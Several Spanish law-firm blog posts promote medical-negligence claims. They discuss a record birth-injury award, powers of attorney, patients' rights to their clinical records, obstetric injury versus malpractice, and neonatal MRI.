Casos como el de Neizan plantean preguntas incómodas pero necesarias:

  • ¿Por qué siguen ocurriendo negligencias tan graves en partos?
  • ¿Qué medidas están tomando los hospitales para evitarlas?
  • ¿Se están aplicando correctamente los protocolos de emergencia obstétrica?
  • ¿Hay suficiente personal cualificado en los paritorios?
  • ¿Se aprende de los errores cometidos?

La sanidad pública española es, en general, de alta calidad. Pero cuando se producen errores graves, las consecuencias pueden ser devastadoras e irreversibles.

Los hospitales tienen la responsabilidad no solo de indemnizar económicamente cuando cometen negligencias, sino también de:

  • Implementar protocolos estrictos de seguridad en partos
  • Formar continuamente al personal sanitario
  • Garantizar ratios adecuados de personal en áreas críticas
  • Aprender de los errores para que no se repitan
  • Ser transparentes cuando se producen incidentes

Precedentes legales y su impacto

La sentencia en el caso de Neizan establece precedentes importantes:

  1. Reconocimiento de indemnizaciones muy elevadas cuando las secuelas son gravísimas y permanentes
  2. Importancia de los intereses de demora: Los 7,2 millones de euros de intereses demuestran que dilatar los procedimientos tiene consecuencias económicas muy graves para los responsables
  3. Responsabilidad de los hospitales públicos: Las administraciones públicas no están exentas de responder económicamente por negligencias médicas
  4. Cálculo exhaustivo de daños: La sentencia tiene en cuenta todos los costes presentes y futuros

Este tipo de sentencias, aunque no puedan reparar el daño sufrido, envían un mensaje claro a los centros sanitarios sobre la importancia de la calidad asistencial y el cumplimiento de protocolos.

Conclusión

El caso de Neizan representa la indemnización más alta de la historia de España por negligencia médica, pero detrás de esa cifra hay una familia destrozada y un niño cuya vida cambió para siempre por errores médicos que pudieron evitarse.

La sentencia de 13,3 millones de euros es:

  • Un reconocimiento judicial de la gravedad de lo ocurrido
  • Una compensación económica que permitirá a la familia dar a Neizan los mejores cuidados posibles
  • Un precedente legal que marca un hito en el derecho sanitario español
  • Una señal de alerta para los centros sanitarios sobre la importancia de la calidad asistencial

Pero sobre todo, es una victoria agridulce de una familia que luchó durante años por conseguir justicia, representada por Rafael Martín Bueno, uno de los abogados más especializados de España en negligencias médicas.

Si tu familia ha vivido una situación similar, no estáis solos. La ley reconoce el derecho a una indemnización justa cuando se producen negligencias médicas, y contar con un abogado especializado puede marcar la diferencia entre conseguir justicia o no.

¿Has sufrido una negligencia médica durante un parto?

Si tu hijo ha sufrido secuelas durante el parto o el embarazo, o sospechas que pudo haber una negligencia médica, contacta con Rafael Martín Bueno.

Con más de 15 años de experiencia defendiendo a familias afectadas por negligencias médicas en partos, Rafael Martín Bueno ha conseguido algunas de las indemnizaciones más importantes de España, incluyendo:

13,3 millones – Caso Neizan (Hospital de Sagunto, 2026)
11 millones – Caso Chloe (Hospital 9 de Octubre Valencia, 2016)
3,9 millones – Parto con parálisis cerebral
3,7 millones – Negligencia en parto gemelar
3,5 millones – Parto de nalgas (podálica)

No dejes pasar el tiempo. Los plazos para reclamar son limitados.

📞 Tel: 91 319 90 17
 ✉️ Email: rmartinbueno@gmail.com

Primera consulta sin compromiso

Analizaremos tu caso y te diremos si tienes opciones de reclamar. Solo cobramos si ganamos tu caso.

 

Cuando una familia decide iniciar una reclamación por negligencia médica, se enfrenta a un proceso judicial complejo que requiere de profesionales especializados. Para que el despacho de Rafael Martín Bueno pueda tomar las riendas de su defensa y actuar ante los tribunales, el primer requisito administrativo es formalizar la representación procesal.

En este artículo, queremos explicar qué es el poder apud acta, sus ventajas frente al poder notarial y cómo tramitarlo de forma gratuita para agilizar su caso de mala praxis.

Poder Apud Acta: ¿Qué es y para qué sirve?

El término apud acta proviene del latín y significa «en el acta». Es un documento legal mediante el cual la víctima de una negligencia (el poderdante) otorga facultades a un abogado y a un procurador para que actúen en su nombre ante los órganos judiciales.

A diferencia de una designación genérica, el apud acta queda registrado bajo la fe pública judicial, acreditando de manera oficial quiénes son los profesionales autorizados para presentar demandas, recibir notificaciones y asistir a las vistas en los Juzgados.

Beneficios del Poder Apud Acta para víctimas de Negligencias Médicas

En el despacho de Rafael Martín Bueno, priorizamos la agilidad y la reducción de cargas para nuestros clientes. Por ello, la formalización del apud acta se convierte en la opción predilecta en la mayoría de nuestras reclamaciones por responsabilidad civil médica debido a tres ventajas estratégicas:

  • Cero costes adicionales (Gratuidad): A diferencia de la escritura pública otorgada ante notario, que suele rondar los 60 €, el otorgamiento de la representación por vía judicial es completamente gratuito. Esto permite que la víctima destine sus recursos a lo que realmente importa: su recuperación y el proceso de peritaje médico.
  • Seguridad Jurídica y Especificidad: Este poder se vincula exclusivamente al procedimiento por mala praxis o error sanitario en curso. Esto garantiza al cliente un control total sobre su representación, asegurando que las facultades otorgadas a abogados y procuradores se limiten estrictamente a la defensa de su caso de negligencia.
  • Máxima Accesibilidad y Confort: Entendemos que muchas víctimas sufren secuelas físicas severas o movilidad reducida tras un daño sanitario. El sistema de sede judicial electrónica permite tramitar el poder de forma telemática en pocos minutos y sin desplazamientos, eliminando barreras físicas y facilitando el acceso inmediato a la justicia desde cualquier punto de España.

Procedimiento para formalizar el Poder Apud Acta

Para que nuestro equipo jurídico pueda iniciar las acciones legales contra el SESCAM o centros sanitarios privados, existen dos vías principales para establecer este protocolo de designación de profesionales, adaptadas a la situación física y técnica de cada damnificado:

Vía Telemática: Agilidad a través de la Sede Judicial Electrónica

Es, sin duda, la opción más eficiente para las víctimas de negligencias médicas que prefieren evitar desplazamientos innecesarios. Mediante el uso de Certificado Digital, DNI electrónico o el sistema Cl@ve, el paciente puede otorgar el poder desde la interfaz de la Sede Judicial en apenas unos minutos. Al finalizar el trámite, el sistema genera un Número de Referencia de Poder (NRP) o un justificante de inscripción en el archivo electrónico de apoderamientos, que incorporamos de inmediato a la demanda para agilizar su admisión a trámite.

Vía Presencial: Comparecencia ante la Fe Pública Judicial

Si el afectado carece de medios digitales o prefiere el asesoramiento presencial, puede acudir directamente a los Juzgados. Allí, mediante una comparecencia física ante el Letrado de la Administración de Justicia (LAJ), se procede a la firma del acta de apoderamiento. Es un trámite directo, gratuito y que no suele requerir cita previa, resultando ideal para asegurar que la representación procesal quede perfectamente constituida bajo la supervisión del funcionario judicial.

Diferencias clave: Poder Notarial vs. Apud Acta

Una de las dudas más frecuentes en nuestro despacho es si es obligatorio acudir a una notaría para iniciar una reclamación por negligencia médica. Aunque ambas figuras otorgan la representación necesaria a abogados y procuradores, existen diferencias sustanciales en cuanto a coste, agilidad y alcance que toda víctima debe conocer:

CaracterísticaPoder Notarial para PleitosPoder Apud Acta
CosteEntre 50€ y 80€Gratis
Lugar de gestiónNotaríaSede Electrónica o Juzgados
ValidezGeneral para cualquier pleitoEspecífica para el procedimiento

Compromiso con la agilidad procesal y la excelencia jurídica

En el despacho de Rafael Martín Bueno, somos conscientes de que tras un daño sanitario grave, el factor tiempo es un recurso crítico. Un error en la fase preliminar puede dilatar meses la admisión a trámite de la demanda. Por ello, asesoramos a nuestros clientes desde el primer minuto sobre la vía más eficiente para formalizar su representación procesal, ya sea mediante el archivo electrónico de apoderamientos o la comparecencia física, evitando cualquier fricción burocrática inicial.

Nuestra misión es permitir que la víctima y su familia se centren exclusivamente en su recuperación y bienestar emocional. Mientras tanto, nuestro equipo de expertos en Derecho Sanitario se encarga de la compleja arquitectura legal, la coordinación con los peritos médicos y la gestión técnica del expediente judicial.

¿Ha sido víctima de una negligencia médica en España?

Antes de iniciar cualquier trámite o incurrir en gastos notariales innecesarios, le ofrecemos una evaluación de viabilidad totalmente gratuita. Nuestro compromiso es absoluto y basado en resultados: si usted no obtiene su indemnización, nosotros no devengamos honorarios. Déjenos ayudarle a obtener la justicia que merece.

El reciente caso de Alzira, una niña de 6 años fallecida tras una sedación en una clínica dental, ha encendido todas las alarmas sobre la seguridad en centros sanitarios privados. ¿Estamos realmente protegidos cuando acudimos a una clínica de bajo coste? ¿Qué podemos hacer si algo sale mal? Y lo más importante: ¿cómo proteger nuestros derechos cuando los propios hospitales dificultan que reclamemos?

Como abogados especializados en negligencias médicas en Barcelona, queremos ofrecerte información clara y práctica sobre tus derechos como paciente y qué hacer si sufres una mala praxis médica.

Mira la entrevista completa aquí :

El auge de las clínicas de bajo coste: cuando el ahorro compromete la seguridad

En los últimos años hemos visto un crecimiento exponencial de franquicias sanitarias de bajo coste en sectores como odontología, cirugía estética y medicina estética. Estas clínicas ofrecen precios muy competitivos que resultan tentadores para muchos pacientes.

Sin embargo, el ahorro económico en ocasiones se traduce en un ahorro en seguridad:

  • Menos personal cualificado o con formación insuficiente
  • Falta de equipos de emergencia adecuados para responder ante complicaciones
  • Protocolos de seguridad deficientes o inexistentes
  • Ausencia de anestesistas cuando son necesarios
  • Instalaciones no autorizadas para determinados procedimientos

El caso Alzira no es un caso aislado. Los juzgados españoles registran cada año cientos de demandas por negligencias médicas relacionadas con procedimientos realizados en centros que no cumplían los requisitos mínimos de seguridad.

Señales de alerta en una clínica médica

Antes de someterte a cualquier procedimiento médico, especialmente en clínicas privadas, debes fijarte en:

  • Que el centro esté debidamente autorizado por la autoridad sanitaria autonómica
  • Que cuenten con protocolos de emergencia visibles y claros
  • Que dispongan del equipamiento necesario para responder ante complicaciones
  • Que el personal esté cualificado y colegiado
  • Que te informen detalladamente sobre riesgos, alternativas y consentimiento informado

Qué hacer si algo sale mal: pasos inmediatos tras una complicación médica

Si tú o un familiar sufrís una complicación grave durante un procedimiento médico, estos son los pasos que debes seguir de inmediato:

1. Llama a la policía si la situación es grave

Este consejo puede sorprender, pero tiene una razón fundamental: incautar la historia clínica original.

En clínicas privadas, la documentación médica suele estar en papel. Si no se interviene rápidamente, existe el riesgo de que esta documentación pueda ser manipulada, alterada o incluso destruida.

La policía tiene un protocolo específico:

  • Toma notas del incidente
  • Incauta la historia clínica original
  • Asegura que nadie pueda modificarla posteriormente

Esta medida resulta crucial para preservar las pruebas que después serán fundamentales en cualquier reclamación judicial.

2. Solicita TODA tu historia clínica (no solo el informe de alta)

Aquí viene uno de los aspectos más importantes que los hospitales y clínicas no quieren que sepas: tu historia clínica completa es tuya por ley, y tienes derecho a obtenerla.

Pero la realidad es que el 99% de las veces intentan engañarte:

Lo que te dirán:

  • «Aquí tienes el informe de alta, eso es todo»
  • «Tardaremos varios días en prepararte la documentación»
  • «Las anotaciones personales del médico no se pueden entregar»

La realidad legal:

  • El informe de alta es solo un resumen, no la historia completa
  • Imprimir tu historia clínica lleva aproximadamente media hora
  • Si tardan días, es porque antes debe pasar por el departamento jurídico del hospital
  • Las «anotaciones personales» son tuyas si afectan a tu tratamiento

Documentación que DEBES exigir

Cuando solicites tu historia clínica, asegúrate de pedir:

  • Historia clínica completa (no solo el resumen de alta)
  • Todas las pruebas diagnósticas (análisis, radiografías, TAC, resonancias…)
  • Registros de enfermería y anotaciones del personal sanitario
  • Documentos de consentimiento informado que firmaste
  • Hojas de anestesia y seguimiento durante procedimientos
  • Cualquier otra documentación relacionada con tu tratamiento

El truco profesional al recoger la documentación

Cuando vayas a recoger tu historia clínica, firma que NO has podido revisarla en ese momento.

¿Por qué es importante esto? Porque si firmas un simple acuse de recibo sin más, podrían interpretarlo como que has verificado que todo está correcto y completo. Al firmar que no has podido revisarla, te reservas el derecho a detectar posteriormente si falta algo o está manipulado.

Derechos del paciente: lo que la ley te garantiza

La Ley 41/2002, de autonomía del paciente, establece derechos fundamentales que muchos desconocen:

Derecho a la información sanitaria

Tienes derecho a conocer toda la información disponible sobre tu estado de salud, diagnóstico, pronóstico, tratamientos y riesgos. Esta información debe ser:

  • Comprensible y adecuada a tus necesidades
  • Veraz y completa
  • Comunicada de forma que te permita tomar decisiones informadas

Derecho al consentimiento informado

Ningún procedimiento médico puede realizarse sin tu consentimiento libre y voluntario. Este consentimiento debe ser:

  • Por escrito en procedimientos con riesgo
  • Precedido de información clara sobre riesgos y alternativas
  • Revocable en cualquier momento

Derecho de acceso a tu historia clínica

Según el artículo 18 de la Ley 41/2002, tienes derecho a acceder a tu historia clínica y a obtener una copia. El centro sanitario debe facilitártela en un plazo máximo de 30 días, aunque en la práctica puede prepararse en cuestión de horas.

Cómo reclamar una negligencia médica: vías disponibles

Si has sufrido una negligencia médica, existen diferentes vías para reclamar. La elección de la vía adecuada puede marcar la diferencia en el resultado de tu caso.

Vía administrativa (solo para centros públicos)

Si la negligencia ocurrió en un hospital o centro público, puedes presentar una reclamación patrimonial ante la Administración correspondiente (autonómica o estatal).

Ventajas:

  • No necesitas abogado obligatoriamente
  • No hay que adelantar costes judiciales

Desventajas importantes:

  • Los plazos son muy largos (pueden pasar años)
  • Las indemnizaciones suelen ser más bajas
  • Si te deniegan la reclamación, tendrás que acudir después a la vía judicial contencioso-administrativa
  • Los juzgados contencioso-administrativos suelen ser más favorables a las versiones médicas que a las de los pacientes

Vía civil contra el seguro de responsabilidad civil

Esta es generalmente la vía más recomendable, tanto para centros privados como públicos:

Por qué es mejor la vía civil:

  • Ambas partes están en igualdad de condiciones procesales
  • Los jueces civiles no tienen el sesgo corporativista de los contencioso-administrativos
  • Mayores garantías de que se haga justicia
  • Plazos más cortos que la vía administrativa
  • Indemnizaciones potencialmente más altas

En centros públicos, puedes demandar directamente al seguro de responsabilidad civil del centro, llevando el caso a la jurisdicción civil.

Vía penal (casos graves)

En los casos más graves (fallecimientos, lesiones muy graves, imprudencia temeraria), corresponde presentar denuncia penal.

La vía penal puede acarrear:

  • Penas de prisión para los responsables
  • Inhabilitación profesional
  • Responsabilidad civil (indemnización)

Sin embargo, en la práctica, las condenas penales por negligencia médica son poco frecuentes, salvo en casos de imprudencia muy grave o temeraria.

Plazos para reclamar: no dejes pasar el tiempo

Los plazos de prescripción para reclamar una negligencia médica son:

  • Vía civil: 1 año desde que conoces el daño y quién es el responsable (artículo 1968 del Código Civil)
  • Vía administrativa: 1 año desde que se produce el hecho o desde que se manifiestan las secuelas
  • Vía penal: varía según la gravedad (de 1 a 10 años según el delito)

Es fundamental actuar rápido. Muchas reclamaciones se pierden simplemente porque se deja pasar el tiempo y prescriben los derechos.

Elementos necesarios para probar una negligencia médica

Para que prospere una reclamación por negligencia médica, deben darse tres elementos:

1. Actuación médica incorrecta (lex artis)

Debe demostrarse que el profesional sanitario no actuó conforme a la práctica médica aceptada (lex artis ad hoc). No basta con que el resultado no sea el esperado; debe acreditarse que hubo mala praxis.

2. Daño efectivo

Debe existir un daño real y cuantificable: lesiones, secuelas, agravamiento del estado de salud, fallecimiento…

3. Relación de causalidad

Debe probarse que el daño fue consecuencia directa de la actuación médica incorrecta, no de la evolución natural de la enfermedad o de otras causas.

La importancia del informe pericial médico

En cualquier reclamación por negligencia médica, el informe pericial es absolutamente fundamental.

Un perito médico independiente revisará:

  • La historia clínica completa
  • Las pruebas diagnósticas
  • Los protocolos aplicados
  • Si la actuación médica fue correcta o negligente

Sin un buen informe pericial es prácticamente imposible ganar un caso de negligencia médica, ya que se trata de cuestiones técnicas que requieren conocimientos especializados.

Recomendaciones finales: cómo protegerte

Para minimizar riesgos cuando acudas a un centro sanitario:

Antes del procedimiento

  • Investiga el centro: comprueba que está autorizado y tiene buena reputación
  • Pregunta por el equipo médico: experiencia, cualificaciones, colegiación
  • Lee detenidamente el consentimiento informado antes de firmar
  • Pregunta por los riesgos específicos y las alternativas disponibles
  • Desconfía de precios excesivamente bajos sin justificación

Durante el procedimiento

  • Asegúrate de que te atienden los profesionales adecuados
  • No permitas que te convenzan de procedimientos adicionales no planificados
  • Comunica cualquier síntoma o molestia inmediatamente

Después del procedimiento

  • Conserva toda la documentación que te entreguen
  • Haz fotografías si hay lesiones o complicaciones visibles
  • Anota fechas, horas y nombres de los profesionales que te atienden
  • No firmes documentos sin leerlos detenidamente

Conclusión

El caso Alzira nos recuerda que la seguridad en la atención sanitaria no puede sacrificarse por el ahorro de costes. Como pacientes, tenemos derechos que debemos conocer y exigir.

Si has sufrido una complicación médica:

  • Actúa con rapidez para preservar las pruebas
  • Solicita tu historia clínica completa
  • Consulta con un abogado especializado en negligencias médicas
  • No dejes que pasen los plazos de prescripción

La confianza que depositamos en los profesionales sanitarios es total cuando ponemos nuestra salud o la de nuestros seres queridos en sus manos. Esa confianza debe ir acompañada de la seguridad de que, si algo sale mal, tenemos herramientas legales para defender nuestros derechos.


¿Has sufrido una complicación médica o sospechas de una negligencia? Contacta con nuestro despacho especializado en negligencias médicas en Barcelona. Te ayudaremos a analizar tu caso y a determinar la mejor estrategia para defender tus derechos. Primera consulta sin compromiso.

La lesión obstétrica, también conocida como EHI, es una complicación que puede ocurrir durante el parto y que, en algunos casos, deja secuelas físicas o neurológicas en el recién nacido. Aunque muchas personas suelen asociar la EHI con negligencia médica o malpraxis en partos, no siempre se trata de un acto incorrecto por parte del personal sanitario.

Comprender la distinción entre complicación obstétrica y responsabilidad médica es fundamental ya que la EHI puede surgir por factores del bebé, del parto o incluso por limitaciones institucionales, y no necesariamente implica un error profesional.

Causas habituales de la EHI

La lesión obstétrica (EHI) puede originarse por múltiples factores, muchos de los cuales no dependen directamente de la actuación del personal médico. Comprender estos factores es clave para diferenciar entre una complicación clínica inevitable y un caso de negligencia médica.

Factores del parto que aumentan el riesgo de EHI y trauma obstétrico

Incluyen distocia, presentación anormal del feto, parto prolongado o el uso de instrumentos obstétricos como fórceps y ventosa. Estas situaciones pueden incrementar el riesgo de trauma obstétrico incluso con atención profesional adecuada.

Factores del recién nacido que predisponen a complicaciones perinatales

El peso elevado, la prematuridad o condiciones médicas preexistentes (como hipotonía o malformaciones) pueden hacer que el bebé sea más vulnerable a lesiones durante el parto. Estos factores no implican necesariamente mala praxis.

Factores institucionales y del equipo médico que impactan la seguridad del parto

La disponibilidad limitada de equipo especializado, protocolos hospitalarios incompletos o la falta de capacitación específica del personal obstétrico pueden aumentar el riesgo de EHI. Implementar protocolos de parto seguro y entrenamiento continuo reduce significativamente estas situaciones.

La EHI es una complicación que puede ocurrir durante el parto y afectar al recién nacido, dejando secuelas físicas o neurológicas. No siempre indica negligencia médica, ya que puede deberse a factores del bebé, del parto o del entorno hospitalario.

Diferenciando la EHI de la Negligencia Médica en Partos

No toda lesión obstétrica (EHI) se traduce en responsabilidad legal o negligencia médica. La clave está en evaluar si la atención durante el parto cumplió con los protocolos clínicos establecidos y las buenas prácticas obstétricas. Diferenciar entre complicaciones inevitables y errores profesionales es fundamental tanto para el personal sanitario como para las familias afectadas, garantizando un enfoque justo y basado en evidencia.

Situaciones donde la EHI puede considerarse negligencia médica

En algunos partos, ciertas situaciones pueden derivar en negligencia médica si no se siguen los protocolos clínicos establecidos. Identificar estos escenarios es fundamental para diferenciar entre lesiones obstétricas inevitables (EHI) y errores profesionales que constituyen mala praxis en partos. A continuación, se presentan los casos más frecuentes donde puede existir responsabilidad legal.

SituaciónDescripciónConsecuencia potencial
Falta de seguimiento adecuadoOmisión de la monitorización fetal o supervisión durante un parto prolongado.Aumento del riesgo de trauma obstétrico.
Uso inapropiado de instrumentos obstétricosAplicación de fórceps o ventosa sin indicación médica o técnica correcta.Lesiones neonatales graves.
Omisión en la atención de signos de sufrimiento fetalIgnorar indicadores de hipoxia o distress fetal durante el parto.Puede considerarse mala praxis en partos.
Errores en el manejo de emergencias obstétricasDecisiones tardías ante complicaciones como prolapso de cordón o hemorragia.Generación de responsabilidad legal.

Situaciones donde la EHI no se considera negligencia médica

No todas las lesiones obstétricas (EHI) implican negligencia médica. Existen escenarios en los que, incluso con atención profesional adecuada, pueden ocurrir complicaciones. Identificar estas situaciones ayuda a diferenciar entre complicaciones inevitables y errores clínicos.

SituaciónDescripciónNotas clave
Complicaciones inevitablesAlgunas EHI ocurren pese a una atención adecuada, debido a factores del bebé o del parto.Ejemplos: posición fetal desfavorable, prematuridad.
Aplicación correcta de protocolosEl equipo médico sigue las directrices de parto seguro y realiza una atención profesional competente.Atención realizada según estándares, sin errores clínicos.

Comprender estas diferencias permite a las familias y profesionales de la salud evaluar correctamente los casos de EHI, identificar posibles responsabilidades y fomentar la implementación de protocolos preventivos y buenas prácticas obstétricas.

Consecuencias y manejo de la EHI

La lesión obstétrica (EHI) puede ocasionar consecuencias físicas y neurológicas significativas en el recién nacido, que van desde parálisis parcial de extremidades hasta alteraciones más graves como parálisis cerebral infantil. El impacto depende de la magnitud de la lesión, la prontitud en la atención y la existencia de factores de riesgo previos.

El manejo integral de la EHI puede incluir lo siguiente:

  • Atención neonatal inmediata: evaluación y cuidado especializado por un equipo pediátrico y neonatológico para minimizar secuelas.
  • Seguimiento clínico y rehabilitación: terapias físicas, ocupacionales y neurológicas según la gravedad de la lesión, buscando mejorar la funcionalidad y la calidad de vida del bebé.
  • Evaluación legal y pericial: en casos donde se sospeche negligencia médica o mala praxis en partos, se realiza un análisis de la historia clínica, protocolos aplicados y evidencia del cuidado recibido.

EHI en Partos: Diferenciando Lesión Obstétrica de Negligencia Médica

En resumen, la lesión obstétrica (EHI) no siempre implica negligencia médica o mala praxis en partos. Cada caso debe evaluarse de manera individual, considerando los factores clínicos del parto y del recién nacido, la correcta aplicación de protocolos de parto seguro y la calidad de la atención obstétrica brindada.

La documentación completa, el seguimiento postnatal temprano y la implementación de buenas prácticas obstétricas son esenciales para reducir riesgos, minimizar secuelas y proteger tanto la salud del bebé como al equipo médico frente a posibles responsabilidades legales.

La resonancia magnética neonatal es una técnica avanzada de diagnóstico por imagen en neonatología que permite evaluar con precisión el sistema nervioso central del recién nacido. Gracias a su alta resolución y a la ausencia de radiación ionizante, la RM cerebral neonatal se ha consolidado como una herramienta fundamental para la detección temprana de lesiones cerebrales perinatales, malformaciones congénitas y alteraciones en el neurodesarrollo neonatal, además de facilitar la evaluación de condiciones como hemorragias intraventriculares, hipoxia-isquemia y malformaciones corticales, contribuyendo al diagnóstico neurológico avanzado del recién nacido.

Importancia de la resonancia magnética en neonatología

En el contexto de la neonatología avanzada, la resonancia magnética neonatal se ha consolidado como una herramienta esencial para la evaluación neurológica del recién nacido. Su alta sensibilidad diagnóstica permite detectar lesiones cerebrales perinatales de forma temprana, incluso antes de que se manifiesten signos clínicos evidentes, facilitando un pronóstico neurológico más preciso y una planificación anticipada del seguimiento neurológico neonatal, incluyendo recién nacidos con riesgo de hemorragias intraventriculares o hipoxia-isquemia.

A diferencia de otros métodos de imagen, la RM cerebral neonatal ofrece una visión detallada del cerebro en desarrollo, lo que resulta fundamental en neonatos prematuros o con antecedentes de riesgo neurológico, permitiendo la detección de malformaciones congénitas, lesiones por asfixia perinatal y alteraciones de la mielinización cerebral.

Evaluación del neurodesarrollo neonatal

La resonancia magnética cerebral neonatal aporta información clave sobre procesos críticos del neurodesarrollo, como la maduración del sistema nervioso central inmaduro, la organización de las estructuras cerebrales profundas y la progresión de la mielinización cerebral. Además, permite identificar alteraciones estructurales, patrones de lesión asociados a encefalopatía hipóxico-isquémica y cambios sutiles que pueden influir en el desarrollo neurológico a largo plazo, contribuyendo a una atención neonatal más precisa, personalizada y basada en evidencia.

Indicaciones clínicas de la resonancia magnética neonatal

La resonancia magnética neonatal está indicada cuando existen signos clínicos, hallazgos neurológicos o antecedentes perinatales que sugieren la presencia de patología neurológica en el recién nacido. Este estudio permite una evaluación detallada del sistema nervioso central, aportando información clave para el diagnóstico, el pronóstico y la toma de decisiones clínicas, especialmente en casos donde eventos perinatales complicados o posibles errores durante el parto pueden haber afectado el desarrollo cerebral del neonato.

Las principales indicaciones clínicas de la RMN neonatal incluyen:

  • Encefalopatía hipóxico-isquémica, para valorar la extensión y el patrón de lesión cerebral tras episodios de hipoxia o isquemia perinatal, incluyendo situaciones derivadas de complicaciones obstétricas o manejo inadecuado durante el parto.
  • Hemorragia intraventricular neonatal, especialmente en recién nacidos prematuros, para evaluar complicaciones y daño cerebral asociado que podría relacionarse con intervenciones perinatales o negligencias médicas.
  • Malformaciones congénitas del sistema nervioso central, permitiendo una caracterización anatómica precisa y diferenciando lesiones de origen prenatal de posibles daños adquiridos perinatalmente.
  • Convulsiones neonatales, con el objetivo de identificar causas estructurales, lesiones cerebrales subyacentes y posibles secuelas de incidentes durante el parto.
  • Prematuridad extrema y seguimiento neurológico neonatal, para monitorizar el desarrollo cerebral, detectar alteraciones tempranas y evaluar cualquier impacto de complicaciones obstétricas o atención perinatal deficiente.

Seguridad de la resonancia magnética neonatal

La resonancia magnética neonatal es considerada un método seguro en recién nacidos, ya que no utiliza radiación ionizante y se basa en campos magnéticos y ondas de radiofrecuencia. Gracias a ello, la RMN neonatal puede realizarse incluso en pacientes vulnerables, siempre que se sigan estrictos protocolos de seguridad adaptados al período neonatal, lo que es especialmente relevante en contextos donde una atención perinatal inadecuada o errores durante el parto podrían aumentar el riesgo de complicaciones neurológicas.

En el entorno de la radiología pediátrica y la neonatología, estos protocolos incluyen la supervisión constante del recién nacido, el uso de equipos compatibles con resonancia magnética y la coordinación de un equipo multidisciplinario especializado, garantizando que cualquier incidencia derivada de negligencias médicas sea identificada y tratada oportunamente.

Riesgos y consideraciones clínicas

Aunque se trata de un procedimiento ampliamente seguro, antes de realizar una resonancia magnética en neonatos se valoran de forma individualizada factores como la estabilidad hemodinámica, la edad gestacional corregida y la presencia de condiciones médicas asociadas, así como antecedentes de complicaciones obstétricas o posibles negligencias perinatales que podrían influir en el resultado de la exploración.

Asimismo, se consideran aspectos como la necesidad de sedación, control térmico, protección auditiva y monitoreo cardiorrespiratorio continuo, con el objetivo de minimizar riesgos, garantizar una exploración segura y eficaz, y prevenir cualquier daño adicional que pueda derivarse de una atención inadecuada durante el parto o en la unidad neonatal.

Ventajas de la resonancia magnética frente a otros estudios de imagen

En comparación con otros métodos de diagnóstico por imagen neonatal, como la ecografía cerebral o la tomografía computarizada (TAC), la resonancia magnética neonatal ofrece una mayor resolución espacial y una precisión diagnóstica superior, especialmente en la evaluación del cerebro en desarrollo.

Estas características convierten a la RMN neonatal en la técnica de referencia para el estudio detallado del sistema nervioso central y de las lesiones cerebrales complejas o profundas que podrían pasar inadvertidas con otros estudios, lo que es crucial en casos donde errores durante el parto o negligencias médicas podrían haber causado daño neurológico.

Imágenes de alta resolución del cerebro neonatal

Permiten una visualización detallada de la anatomía cerebral y sus estructuras profundas, ayudando a identificar lesiones que podrían derivar de complicaciones obstétricas o atención perinatal inadecuada.

Mejor detección de lesiones profundas y sutiles

Incluye lesiones asociadas a encefalopatía hipóxico-isquémica o alteraciones de la sustancia blanca, lo que facilita la evaluación de posibles secuelas por negligencias médicas durante el parto.

Evaluación detallada del desarrollo cerebral

Permite monitorear procesos de mielinización y maduración del sistema nervioso central, identificando cualquier retraso o alteración temprana que podría haberse producido por complicaciones perinatales.

Ausencia de radiación ionizante

Esto la convierte en una opción más segura para el seguimiento neurológico del recién nacido, minimizando riesgos y evitando daños adicionales en neonatos que ya podrían estar vulnerables por atención médica deficiente.

Resonancia magnética neonatal: Diagnóstico seguro y prevención de complicaciones perinatales

La resonancia magnética neonatal se ha consolidado como una herramienta indispensable para el diagnóstico y seguimiento de patologías neurológicas en recién nacidos, permitiendo la detección temprana de lesiones cerebrales, malformaciones congénitas y alteraciones del neurodesarrollo, y contribuyendo a una atención individualizada, segura y de alta calidad. Su uso en unidades de neonatología avanzada y la interpretación por equipos multidisciplinarios de radiología pediátrica, neonatología y neurología infantil asegura decisiones clínicas más precisas, programas de seguimiento oportunos y la identificación de posibles daños derivados de errores o negligencias médicas durante el parto, fortaleciendo así el pronóstico y la calidad de vida de los recién nacidos con riesgo neurológico.

Scroll al inicio